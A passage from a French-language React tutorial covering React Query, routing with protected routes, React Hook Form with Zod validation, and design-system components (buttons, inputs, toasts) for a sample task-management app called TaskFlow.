        queryClient.invalidateQueries({ queryKey: TASK_KEYS.lists() });
        queryClient.removeQueries({ queryKey: TASK_KEYS.detail(id) });
      },
    });
  }

  // UTILISATION dans les composants :
  function TasksPage() {
    const [filter, setFilter] = useState('all');
    const { data: tasks = [], isLoading, error } = useTasks({ status: filter });
    const createTask = useCreateTask();
    const deleteTask = useDeleteTask();

    const handleCreate = async (taskData) => {
      await createTask.mutateAsync(taskData);
    };

    const handleDelete = async (id) => {
      if (!confirm('Supprimer ?')) return;
      await deleteTask.mutateAsync(id);
    };

    if (isLoading) return <Spinner />;
    if (error) return <ErrorMessage message={error.message} />;

    return (
      <div>
        <button
          onClick={() => handleCreate({ title: 'Nouvelle tâche', priority: 'medium' })}
          disabled={createTask.isPending}
        >
          {createTask.isPending ? 'Création...' : '+ Ajouter'}
        </button>

        <ul>
          {tasks.map(task => (
            <li key={task.id}>
              {task.title}
              <button onClick={() => handleDelete(task.id)}
                      disabled={deleteTask.isPending}>
                [SUPPRIMER]
              </button>
            </li>
          ))}
        </ul>
      </div>
    );
  }


════════════════════════════════════════════════════════════════════════════════
PROJET TASKFLOW V4 — ARCHITECTURE COMPLÈTE
════════════════════════════════════════════════════════════════════════════════

  // src/main.jsx — Setup complet
  import React from 'react';
  import ReactDOM from 'react-dom/client';
  import { BrowserRouter } from 'react-router-dom';
  import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
  import { ReactQueryDevtools } from '@tanstack/react-query-devtools';
  import { AuthProvider } from './contexts/AuthContext';
  import { UIProvider } from './contexts/UIContext';
  import App from './App';
  import './styles/global.css';

  const queryClient = new QueryClient({
    defaultOptions: {
      queries: { staleTime: 1000 * 60 * 5, retry: 2 },
    },
  });

  ReactDOM.createRoot(document.getElementById('root')).render(
    <React.StrictMode>
      <QueryClientProvider client={queryClient}>
        <BrowserRouter>
          <AuthProvider>
            <UIProvider>
              <App />
            </UIProvider>
          </AuthProvider>
        </BrowserRouter>
        <ReactQueryDevtools />
      </QueryClientProvider>
    </React.StrictMode>
  );

  // src/App.jsx — Routes complètes
  import { Routes, Route, Navigate } from 'react-router-dom';
  import PrivateRoute from './components/guards/PrivateRoute';
  import AppLayout from './components/layout/AppLayout';
  import LoginPage from './pages/LoginPage';
  import RegisterPage from './pages/RegisterPage';
  import DashboardPage from './pages/DashboardPage';
  import TasksPage from './pages/TasksPage';
  import TaskDetailPage from './pages/TaskDetailPage';
  import TeamPage from './pages/TeamPage';
  import SettingsPage from './pages/SettingsPage';
  import NotFoundPage from './pages/NotFoundPage';

  function App() {
    return (
      <Routes>
        {/* Routes publiques */}
        <Route path="/login"    element={<LoginPage />} />
        <Route path="/register" element={<RegisterPage />} />

        {/* Routes privées avec layout */}
        <Route element={<PrivateRoute />}>
          <Route element={<AppLayout />}>
            <Route index element={<Navigate to="/dashboard" replace />} />
            <Route path="/dashboard"  element={<DashboardPage />} />
            <Route path="/tasks"      element={<TasksPage />} />
            <Route path="/tasks/:id"  element={<TaskDetailPage />} />
            <Route path="/team"       element={<TeamPage />} />
            <Route path="/settings"   element={<SettingsPage />} />
          </Route>
        </Route>

        <Route path="*" element={<NotFoundPage />} />
      </Routes>
    );
  }

  // src/pages/DashboardPage.jsx — Utilise tout ce qu'on a appris
  import { useTasks } from '../hooks/queries/useTasks';
  import { useAuth } from '../contexts/AuthContext';
  import { useUI } from '../contexts/UIContext';

  function DashboardPage() {
    const { user } = useAuth();
    const { addNotification } = useUI();
    const { data: tasks = [], isLoading } = useTasks();

    const stats = useMemo(() => ({
      total: tasks.length,
      done:       tasks.filter(t => t.status === 'done').length,
      inProgress: tasks.filter(t => t.status === 'in_progress').length,
      todo:       tasks.filter(t => t.status === 'todo').length,
      overdue:    tasks.filter(t => new Date(t.dueDate) < new Date() && t.status !== 'done').length,
    }), [tasks]);

    return (
      <div className="dashboard">
        <WelcomeBanner user={user} />
        <StatsGrid stats={stats} isLoading={isLoading} />
        <div className="dashboard__grid">
          <RecentTasksWidget tasks={tasks.slice(0, 5)} />
          <ActivityFeed />
        </div>
      </div>
    );
  }


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 5
════════════════════════════════════════════════════════════════════════════════

FACILE :
  EX-5.1 : Implémenter la navigation complète de TaskFlow avec React Router v6.
           Toutes les routes (public + private) avec le layout.
  EX-5.2 : Page 404 avec bouton "Retour à l'accueil" et animation.
  EX-5.3 : Fil d'Ariane (breadcrumb) automatique basé sur l'URL.

INTERMÉDIAIRE :
  EX-5.4 : Authentification complète (login, register, logout, route guard).
           Utiliser AuthContext + localStorage.
  EX-5.5 : Instance Axios avec intercepteurs token + refresh + erreurs globales.
  EX-5.6 : Store Zustand pour les tâches avec optimistic updates.

AVANCÉ :
  EX-5.7 : React Query complet pour TaskFlow (useQuery + useMutation + cache).
  EX-5.8 : Synchronisation entre onglets avec BroadcastChannel API.
  EX-5.9 : Infinite scroll avec useInfiniteQuery de React Query.

CORRIGÉ EX-5.4 — Login avec AuthContext :

  function LoginPage() {
    const { login, isAuthenticated } = useAuth();
    const navigate = useNavigate();
    const location = useLocation();
    const from = location.state?.from || '/dashboard';

    const { values, errors, handleChange, handleSubmit, isSubmitting } = useForm(
      { email: '', password: '' },
      {
        email: [(v) => !v?.includes('@') ? 'Email invalide' : null],
        password: [(v) => (v?.length ?? 0) < 8 ? 'Min 8 caractères' : null],
      }
    );

    const [apiError, setApiError] = useState(null);

    if (isAuthenticated) return <Navigate to={from} replace />;

    const onSubmit = handleSubmit(async (data) => {
      try {
        setApiError(null);
        await login(data);
        navigate(from, { replace: true });
      } catch (err) {
        setApiError(err.message || 'Email ou mot de passe incorrect');
      }
    });

    return (
      <div className="login-page">
        <form onSubmit={onSubmit}>
          {apiError && <div className="alert alert-error">{apiError}</div>}
          <input name="email"    value={values.email}    onChange={handleChange} />
          {errors.email && <span className="error">{errors.email}</span>}
          <input name="password" value={values.password} onChange={handleChange} type="password" />
          {errors.password && <span className="error">{errors.password}</span>}
          <button type="submit" disabled={isSubmitting}>
            {isSubmitting ? 'Connexion...' : 'Se connecter'}
          </button>
        </form>
      </div>
    );
  }


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 5
════════════════════════════════════════════════════════════════════════════════

  [OK] React Router v6 : Routes, Route, Navigate, Outlet
  [OK] Hooks router : useNavigate, useParams, useSearchParams, useLocation
  [OK] Routes imbriquées : layout partagé avec Outlet
  [OK] Routes protégées : PrivateRoute avec PrivateRoute + useAuth
  [OK] Axios : instance globale, intercepteurs request/response
  [OK] Context API : auth, UI, theme — state vraiment global
  [OK] Zustand : store léger avec actions et sélecteurs
  [OK] React Query : server state, cache, mutations optimistes
  [OK] Architecture multicouche : pages -> hooks -> api -> store

PROCHAINE PARTIE : Formulaires avancés, UI libraries, Performance, Tests
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN PARTIE 5 -> Continuer : react_master_part_6.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 6 : FORMULAIRES AVANCÉS, UI, ACCESSIBILITÉ
================================================================================
VERSION 1.0 | CHAPITRES 27–31 | PROJET : TaskFlow v5 — UI complète
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 27  ->  React Hook Form — Formulaires performants
  CHAPITRE 28  ->  Validation avec Zod
  CHAPITRE 29  ->  Composants UI avancés (Design System)
  CHAPITRE 30  ->  Accessibilité (a11y)
  CHAPITRE 31  ->  Animations et transitions
  PROJET       ->  TaskFlow v5 — Design System + Forms complets
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 27 : REACT HOOK FORM — FORMULAIRES PERFORMANTS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
27.1 — PROBLÈMES DES FORMULAIRES AVEC USESTATE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Avec l'approche useState (controlled components) :
  • Chaque frappe déclenche un re-render -> lent avec grands formulaires
  • Beaucoup de code répétitif (handleChange, errors, touched...)
  • Gestion manuelle de la validation

React Hook Form (RHF) résout tout ça :
  • Uncontrolled inputs par défaut -> zéro re-render à la frappe
  • Validation intégrée (native + schéma Zod/Yup)
  • API simple et cohérente
  • TypeScript first (excellente inférence de types)

  npm install react-hook-form

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
27.2 — SYNTAXE DE BASE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useForm } from 'react-hook-form';

  function LoginForm() {
    const {
      register,        // Connecte un champ au formulaire
      handleSubmit,    // Wrapper de soumission (validation + callback)
      formState: {     // État du formulaire
        errors,        // Erreurs par champ
        isSubmitting,  // En cours de soumission
        isValid,       // Formulaire valide ?
        isDirty,       // Modifié par l'utilisateur ?
        touchedFields, // Champs touchés
      },
      watch,           // Observer la valeur d'un champ en temps réel
      reset,           // Réinitialiser le formulaire
      setValue,        // Mettre à jour un champ programmatiquement
      getValues,       // Lire les valeurs courantes
    } = useForm({
      defaultValues: {
        email:    '',
        password: '',
        remember: false,
      },
      mode: 'onBlur',  // Quand valider : onChange | onBlur | onSubmit | all
    });

    const onSubmit = async (data) => {
      // data = { email: '...', password: '...', remember: true }
      await authApi.login(data);
    };

    return (
      <form onSubmit={handleSubmit(onSubmit)} noValidate>
        <div className="form-group">
          <label htmlFor="email">Email</label>
          <input
            id="email"
            type="email"
            {...register('email', {
              required:  'Email obligatoire',
              pattern: {
                value:   /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}$/i,
                message: 'Email invalide',
              },
            })}
            aria-invalid={!!errors.email}
            aria-describedby={errors.email ? 'email-error' : undefined}
          />
          {errors.email && (
            <span id="email-error" className="error" role="alert">
              {errors.email.message}
            </span>
          )}
        </div>

        <div className="form-group">
          <label htmlFor="password">Mot de passe</label>
          <input
            id="password"
            type="password"
            {...register('password', {
              required:  'Mot de passe obligatoire',
              minLength: { value: 8, message: 'Minimum 8 caractères' },
            })}
          />
          {errors.password && (
            <span className="error">{errors.password.message}</span>
          )}
        </div>

        <label className="checkbox-label">
          <input type="checkbox" {...register('remember')} />
          Se souvenir de moi
        </label>

        <button type="submit" disabled={isSubmitting}>
          {isSubmitting ? 'Connexion...' : 'Se connecter'}
        </button>
      </form>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
27.3 — RÈGLES DE VALIDATION INTÉGRÉES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  {...register('champ', {
    required:   'Message d\'erreur ou true',
    minLength:  { value: 3,    message: 'Min 3 chars' },
    maxLength:  { value: 100,  message: 'Max 100 chars' },
    min:        { value: 0,    message: 'Min 0' },
    max:        { value: 100,  message: 'Max 100' },
    pattern:    { value: /regex/, message: 'Format invalide' },
    validate:   (value) => value !== 'admin' || 'Nom réservé',
    // validate multiple :
    validate: {
      notEmpty:  (v) => v.trim().length > 0 || 'Ne peut pas être vide',
      notAdmin:  (v) => v !== 'admin' || 'Nom réservé',
      unique:    async (v) => {
        const taken = await checkUsernameAvailable(v);
        return !taken || 'Nom déjà pris';
      },
    },
  })}

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
27.4 — FORMULAIRE TÂCHE COMPLET AVEC RHF
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useForm, useFieldArray, Controller } from 'react-hook-form';
  import Select from 'react-select';  // Composant tiers (exemple)

  function TaskForm({ task, onSubmit, onCancel }) {
    const isEditing = !!task;

    const {
      register,
      handleSubmit,
      control,
      watch,
      formState: { errors, isSubmitting },
      reset,
    } = useForm({
      defaultValues: {
        title:       task?.title       || '',
        description: task?.description || '',
        priority:    task?.priority    || 'medium',
        dueDate:     task?.dueDate     ? task.dueDate.split('T')[0] : '',
        tags:        task?.tags?.map(t => ({ value: t, label: t })) || [],
        assigneeId:  task?.assignee?.id || null,
        estimatedHours: task?.estimatedHours || '',
      },
      mode: 'onBlur',
    });

    // Observer les champs pour dépendances conditionnelles
    const priority = watch('priority');

    // useFieldArray — Gestion de listes dynamiques (sous-tâches)
    const { fields: subtasks, append: addSubtask, remove: removeSubtask } =
      useFieldArray({ control, name: 'subtasks' });

    const handleFormSubmit = async (data) => {
      const taskData = {
        ...data,
        tags: data.tags.map(t => t.value),  // Convertir react-select format
        dueDate: data.dueDate ? new Date(data.dueDate) : null,
        estimatedHours: data.estimatedHours ? parseFloat(data.estimatedHours) : null,
      };
      await onSubmit(taskData);
      reset();
    };

    return (
      <form onSubmit={handleSubmit(handleFormSubmit)} noValidate className="task-form">
        {/* Titre */}
        <div className="form-group">
          <label htmlFor="title" className="form-label">
            Titre <span className="required" aria-hidden="true">*</span>
          </label>
          <input
            id="title"
            className={`form-input ${errors.title ? 'form-input--error' : ''}`}
            placeholder="Titre de la tâche..."
            autoFocus
            {...register('title', {
              required: 'Le titre est obligatoire',
              minLength: { value: 3, message: 'Minimum 3 caractères' },
              maxLength: { value: 200, message: 'Maximum 200 caractères' },
              validate: (v) => v.trim().length >= 3 || 'Minimum 3 caractères (sans espaces)',
            })}
          />
          {errors.title && (
            <span className="form-error" role="alert">{errors.title.message}</span>
          )}
        </div>

        {/* Description */}
        <div className="form-group">
          <label htmlFor="description" className="form-label">Description</label>
          <textarea
            id="description"
            rows={4}
            className="form-input form-textarea"
            placeholder="Décrivez la tâche en détail..."
            {...register('description', {
              maxLength: { value: 2000, message: 'Maximum 2000 caractères' },
            })}
          />
          {errors.description && (
            <span className="form-error">{errors.description.message}</span>
          )}
        </div>

        {/* Priorité + Date */}
        <div className="form-row">
          <div className="form-group">
            <label htmlFor="priority" className="form-label">Priorité</label>
            <select
              id="priority"
              className="form-input form-select"
              {...register('priority', { required: 'Priorité requise' })}
            >
              <option value="low">[VERT] Basse</option>
              <option value="medium">[JAUNE] Moyenne</option>
              <option value="high">[ORANGE] Haute</option>
              <option value="critical">[ROUGE] Critique</option>
            </select>
          </div>

          <div className="form-group">
            <label htmlFor="dueDate" className="form-label">
              Échéance
              {priority === 'critical' && (
                <span className="form-hint"> (obligatoire pour critique)</span>
              )}
            </label>
            <input
              id="dueDate"
              type="date"
              className={`form-input ${errors.dueDate ? 'form-input--error' : ''}`}
              min={new Date().toISOString().split('T')[0]}
              {...register('dueDate', {
                required: priority === 'critical' ? 'Date requise pour tâche critique' : false,
                validate: (v) => {
                  if (!v) return true;
                  return new Date(v) >= new Date(new Date().toDateString())
                    || "La date ne peut pas être dans le passé";
                },
              })}
            />
            {errors.dueDate && (
              <span className="form-error">{errors.dueDate.message}</span>
            )}
          </div>
        </div>

        {/* Heures estimées */}
        <div className="form-group">
          <label htmlFor="estimatedHours" className="form-label">Heures estimées</label>
          <input
            id="estimatedHours"
            type="number"
            min="0.5"
            max="1000"
            step="0.5"
            className="form-input"
            placeholder="Ex: 4.5"
            {...register('estimatedHours', {
              min:      { value: 0.5, message: 'Minimum 0.5h' },
              max:      { value: 1000, message: 'Maximum 1000h' },
              validate: (v) => !v || !isNaN(parseFloat(v)) || 'Nombre invalide',
            })}
          />
        </div>

        {/* Sous-tâches (useFieldArray) */}
        <div className="form-group">
          <label className="form-label">Sous-tâches</label>
          <ul className="subtasks-list">
            {subtasks.map((field, index) => (
              <li key={field.id} className="subtask-item">
                <input
                  className="form-input"
                  placeholder={`Sous-tâche ${index + 1}`}
                  {...register(`subtasks.${index}.title`, {
                    required: 'La sous-tâche ne peut pas être vide',
                  })}
                />
                {errors.subtasks?.[index]?.title && (
                  <span className="form-error">
                    {errors.subtasks[index].title.message}
                  </span>
                )}
                <button
                  type="button"
                  className="btn btn-icon btn-danger"
                  onClick={() => removeSubtask(index)}
                  aria-label={`Supprimer la sous-tâche ${index + 1}`}
                >
                  [X]
                </button>
              </li>
            ))}
          </ul>
          <button
            type="button"
            className="btn btn-ghost btn-sm"
            onClick={() => addSubtask({ title: '', completed: false })}
          >
            + Ajouter une sous-tâche
          </button>
        </div>

        {/* Actions */}
        <div className="form-actions">
          <button type="button" className="btn btn-ghost" onClick={onCancel}>
            Annuler
          </button>
          <button type="submit" className="btn btn-primary" disabled={isSubmitting}>
            {isSubmitting
              ? (isEditing ? 'Mise à jour...' : 'Création...')
              : (isEditing ? '[SAUVEGARDE] Mettre à jour' : '+ Créer la tâche')}
          </button>
        </div>
      </form>
    );
  }

  export default TaskForm;


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 28 : VALIDATION AVEC ZOD
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
28.1 — ZOD — SCHÉMA DE VALIDATION DÉCLARATIF
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Zod permet de définir des schémas de validation et des types TypeScript
à partir d'une seule définition. Il s'intègre parfaitement avec RHF.

  npm install zod @hookform/resolvers

  // src/schemas/task.schema.js
  import { z } from 'zod';

  export const taskSchema = z.object({
    title: z
      .string()
      .min(1, 'Titre obligatoire')
      .min(3, 'Minimum 3 caractères')
      .max(200, 'Maximum 200 caractères')
      .trim(),

    description: z
      .string()
      .max(2000, 'Maximum 2000 caractères')
      .optional(),

    priority: z.enum(['low', 'medium', 'high', 'critical'], {
      errorMap: () => ({ message: 'Priorité invalide' }),
    }),

    status: z
      .enum(['todo', 'in_progress', 'done', 'cancelled'])
      .default('todo'),

    dueDate: z
      .string()
      .optional()
      .refine(
        (val) => !val || new Date(val) >= new Date(new Date().toDateString()),
        { message: "La date ne peut pas être dans le passé" }
      ),

    estimatedHours: z
      .number()
      .min(0.5, 'Minimum 0.5h')
      .max(1000, 'Maximum 1000h')
      .optional()
      .nullable(),

    tags: z
      .array(z.string().min(1).max(30))
      .max(10, 'Maximum 10 tags')
      .default([]),

    assigneeId: z
      .number()
      .int()
      .positive()
      .optional()
      .nullable(),
  }).refine(
    // Validation croisée : date obligatoire si critique
    (data) => !(data.priority === 'critical' && !data.dueDate),
    {
      message: 'Une date est requise pour les tâches critiques',
      path: ['dueDate'],
    }
  );

  // Schéma de connexion :
  export const loginSchema = z.object({
    email: z
      .string()
      .min(1, 'Email obligatoire')
      .email('Email invalide'),
    password: z
      .string()
      .min(8, 'Minimum 8 caractères')
      .regex(/[A-Z]/, 'Au moins une majuscule')
      .regex(/[0-9]/, 'Au moins un chiffre'),
    remember: z.boolean().default(false),
  });

  // Schéma d'inscription :
  export const registerSchema = z
    .object({
      name: z.string().min(2, 'Minimum 2 caractères').max(50),
      email: z.string().email('Email invalide'),
      password: z.string().min(8, 'Minimum 8 caractères'),
      confirmPassword: z.string(),
    })
    .refine((data) => data.password === data.confirmPassword, {
      message: 'Les mots de passe ne correspondent pas',
      path: ['confirmPassword'],
    });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
28.2 — INTÉGRATION RHF + ZOD
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useForm } from 'react-hook-form';
  import { zodResolver } from '@hookform/resolvers/zod';
  import { loginSchema } from '../schemas/auth.schema';

  function LoginForm({ onSubmit }) {
    const {
      register,
      handleSubmit,
      formState: { errors, isSubmitting },
    } = useForm({
      resolver: zodResolver(loginSchema),  // <- Intégration Zod
      defaultValues: { email: '', password: '', remember: false },
    });

    return (
      <form onSubmit={handleSubmit(onSubmit)}>
        <input type="email" {...register('email')} />
        {errors.email && <span>{errors.email.message}</span>}

        <input type="password" {...register('password')} />
        {errors.password && <span>{errors.password.message}</span>}

        <button type="submit" disabled={isSubmitting}>
          Se connecter
        </button>
      </form>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 29 : DESIGN SYSTEM — COMPOSANTS UI AVANCÉS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
29.1 — VARIABLES CSS (DESIGN TOKENS)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  /* src/styles/variables.css */
  :root {
    /* === COULEURS === */
    --color-primary-50:  #eff6ff;
    --color-primary-100: #dbeafe;
    --color-primary-500: #3b82f6;
    --color-primary-600: #2563eb;
    --color-primary-700: #1d4ed8;

    --color-success-500: #22c55e;
    --color-warning-500: #f59e0b;
    --color-danger-500:  #ef4444;
    --color-neutral-50:  #f9fafb;
    --color-neutral-100: #f3f4f6;
    --color-neutral-200: #e5e7eb;
    --color-neutral-500: #6b7280;
    --color-neutral-700: #374151;
    --color-neutral-900: #111827;

    /* === SÉMANTIQUE === */
    --color-bg:          var(--color-neutral-50);
    --color-bg-card:     #ffffff;
    --color-text:        var(--color-neutral-900);
    --color-text-muted:  var(--color-neutral-500);
    --color-border:      var(--color-neutral-200);
    --color-focus-ring:  var(--color-primary-500);

    /* === TYPOGRAPHIE === */
    --font-family:      'Inter', system-ui, -apple-system, sans-serif;
    --font-mono:        'JetBrains Mono', 'Fira Code', monospace;
    --font-size-xs:     0.75rem;
    --font-size-sm:     0.875rem;
    --font-size-base:   1rem;
    --font-size-lg:     1.125rem;
    --font-size-xl:     1.25rem;
    --font-size-2xl:    1.5rem;
    --font-size-3xl:    1.875rem;
    --font-weight-normal:   400;
    --font-weight-medium:   500;
    --font-weight-semibold: 600;
    --font-weight-bold:     700;

    /* === ESPACEMENT === */
    --space-1:  0.25rem;
    --space-2:  0.5rem;
    --space-3:  0.75rem;
    --space-4:  1rem;
    --space-6:  1.5rem;
    --space-8:  2rem;
    --space-12: 3rem;
    --space-16: 4rem;

    /* === BORDURES === */
    --radius-sm:   0.25rem;
    --radius-md:   0.5rem;
    --radius-lg:   0.75rem;
    --radius-xl:   1rem;
    --radius-full: 9999px;

    /* === OMBRES === */
    --shadow-sm:  0 1px 2px 0 rgb(0 0 0 / 0.05);
    --shadow-md:  0 4px 6px -1px rgb(0 0 0 / 0.1);
    --shadow-lg:  0 10px 15px -3px rgb(0 0 0 / 0.1);
    --shadow-xl:  0 20px 25px -5px rgb(0 0 0 / 0.1);

    /* === TRANSITIONS === */
    --transition-fast:   150ms ease;
    --transition-normal: 250ms ease;
    --transition-slow:   350ms ease;

    /* === Z-INDEX === */
    --z-base:    0;
    --z-dropdown: 100;
    --z-modal:   200;
    --z-toast:   300;
    --z-tooltip: 400;
  }

  /* Mode sombre */
  [data-theme="dark"] {
    --color-bg:       #0f172a;
    --color-bg-card:  #1e293b;
    --color-text:     #f1f5f9;
    --color-text-muted: #94a3b8;
    --color-border:   #334155;
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
29.2 — COMPOSANTS DE BASE DU DESIGN SYSTEM
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

COMPOSANT BUTTON COMPLET :

  /* src/components/common/Button/Button.module.css */
  .btn {
    display:         inline-flex;
    align-items:     center;
    justify-content: center;
    gap:             var(--space-2);
    padding:         var(--space-2) var(--space-4);
    border:          none;
    border-radius:   var(--radius-md);
    font-family:     var(--font-family);
    font-size:       var(--font-size-sm);
    font-weight:     var(--font-weight-medium);
    line-height:     1.5;
    cursor:          pointer;
    transition:      background-color var(--transition-fast),
                     box-shadow var(--transition-fast),
                     transform var(--transition-fast);
    text-decoration: none;
    white-space:     nowrap;
    user-select:     none;
    position:        relative;
    overflow:        hidden;
  }
  .btn:focus-visible {
    outline:        2px solid var(--color-focus-ring);
    outline-offset: 2px;
  }
  .btn:active:not(:disabled) { transform: translateY(1px); }
  .btn:disabled { opacity: 0.5; cursor: not-allowed; }

  .primary  { background: var(--color-primary-600); color: white; }
  .primary:hover:not(:disabled) { background: var(--color-primary-700); }
  .secondary { background: var(--color-neutral-100); color: var(--color-neutral-700);
               border: 1px solid var(--color-border); }
  .secondary:hover:not(:disabled) { background: var(--color-neutral-200); }
  .ghost    { background: transparent; color: var(--color-neutral-700); }
  .ghost:hover:not(:disabled) { background: var(--color-neutral-100); }
  .danger   { background: var(--color-danger-500); color: white; }
  .danger:hover:not(:disabled) { background: #dc2626; }
  .success  { background: var(--color-success-500); color: white; }

  .sm { padding: var(--space-1) var(--space-2); font-size: var(--font-size-xs); }
  .md { padding: var(--space-2) var(--space-4); font-size: var(--font-size-sm); }
  .lg { padding: var(--space-3) var(--space-6); font-size: var(--font-size-base); }
  .xl { padding: var(--space-4) var(--space-8); font-size: var(--font-size-lg); }

  .fullWidth { width: 100%; }
  .icon-only { padding: var(--space-2); aspect-ratio: 1; }

  .loading { pointer-events: none; }
  .spinner {
    width: 1em; height: 1em;
    border: 2px solid currentColor;
    border-top-color: transparent;
    border-radius: 50%;
    animation: spin 0.6s linear infinite;
  }
  @keyframes spin { to { transform: rotate(360deg); } }

  /* src/components/common/Button/Button.jsx */
  import styles from './Button.module.css';

  const VARIANTS = ['primary', 'secondary', 'ghost', 'danger', 'success'];
  const SIZES    = ['sm', 'md', 'lg', 'xl'];

  function Button({
    children,
    variant     = 'primary',
    size        = 'md',
    isLoading   = false,
    leftIcon    = null,
    rightIcon   = null,
    fullWidth   = false,
    iconOnly    = false,
    as:         Tag = 'button',
    className   = '',
    disabled,
    ...rest
  }) {
    const classes = [
      styles.btn,
      styles[variant],
      styles[size],
      fullWidth && styles.fullWidth,
      iconOnly  && styles['icon-only'],
      isLoading && styles.loading,
      className,
    ].filter(Boolean).join(' ');

    return (
      <Tag
        className={classes}
        disabled={Tag === 'button' ? (disabled || isLoading) : undefined}
        aria-busy={isLoading || undefined}
        aria-disabled={disabled || isLoading || undefined}
        {...rest}
      >
        {isLoading ? (
          <>
            <span className={styles.spinner} aria-hidden="true" />
            <span className="sr-only">Chargement…</span>
          </>
        ) : (
          <>
            {leftIcon  && <span aria-hidden="true" className={styles.icon}>{leftIcon}</span>}
            {!iconOnly && children}
            {rightIcon && <span aria-hidden="true" className={styles.icon}>{rightIcon}</span>}
          </>
        )}
      </Tag>
    );
  }

  export default Button;

COMPOSANT INPUT COMPLET :

  // src/components/common/Input/Input.jsx
  import { forwardRef } from 'react';
  import styles from './Input.module.css';

  const Input = forwardRef(function Input({
    label,
    id,
    type     = 'text',
    error,
    hint,
    leftIcon,
    rightIcon,
    required = false,
    fullWidth = true,
    className = '',
    ...rest
  }, ref) {
    const inputId    = id || `input-${Math.random().toString(36).slice(2)}`;
    const errorId    = error ? `${inputId}-error` : undefined;
    const hintId     = hint  ? `${inputId}-hint`  : undefined;

    return (
      <div className={`${styles.wrapper} ${fullWidth ? styles.fullWidth : ''}`}>
        {label && (
          <label htmlFor={inputId} className={styles.label}>
            {label}
            {required && <span className={styles.required} aria-hidden="true"> *</span>}
          </label>
        )}

        <div className={styles.inputWrapper}>
          {leftIcon && (
            <span className={`${styles.icon} ${styles.iconLeft}`} aria-hidden="true">
              {leftIcon}
            </span>
          )}

          <input
            ref={ref}
            id={inputId}
            type={type}
            className={[
              styles.input,
              error    ? styles.error    : '',
              leftIcon ? styles.hasLeft  : '',
              rightIcon ? styles.hasRight : '',
              className,
            ].filter(Boolean).join(' ')}
            aria-invalid={error ? 'true' : undefined}
            aria-describedby={[errorId, hintId].filter(Boolean).join(' ') || undefined}
            required={required}
            {...rest}
          />

          {rightIcon && (
            <span className={`${styles.icon} ${styles.iconRight}`} aria-hidden="true">
              {rightIcon}
            </span>
          )}
        </div>

        {error && (
          <span id={errorId} className={styles.errorMessage} role="alert">
            [ATTENTION] {error}
          </span>
        )}
        {hint && !error && (
          <span id={hintId} className={styles.hint}>{hint}</span>
        )}
      </div>
    );
  });

  export default Input;

COMPOSANT TOAST / NOTIFICATION :

  // src/components/common/Toast/ToastContainer.jsx
  import { useUI } from '../../../contexts/UIContext';
  import Toast from './Toast';
  import styles from './ToastContainer.module.css';

  function ToastContainer() {
    const { notifications, removeNotification } = useUI();

    return (
      <div
        className={styles.container}
        aria-live="polite"
        aria-label="Notifications"
        role="region"
      >
        {notifications.map(notification => (
          <Toast
            key={notification.id}
            notification={notification}
            onClose={() => removeNotification(notification.id)}
          />
        ))}
      </div>
    );
  }

  // src/components/common/Toast/Toast.jsx
  function Toast({ notification, onClose }) {
    const { type = 'info', title, message } = notification;

    const ICONS = { success: '[OK]', error: '[X]', warning: '[ATTENTION]', info: 'ℹ' };

    return (
      <div
        className={`${styles.toast} ${styles[type]}`}
        role="alert"
        aria-atomic="true"
      >
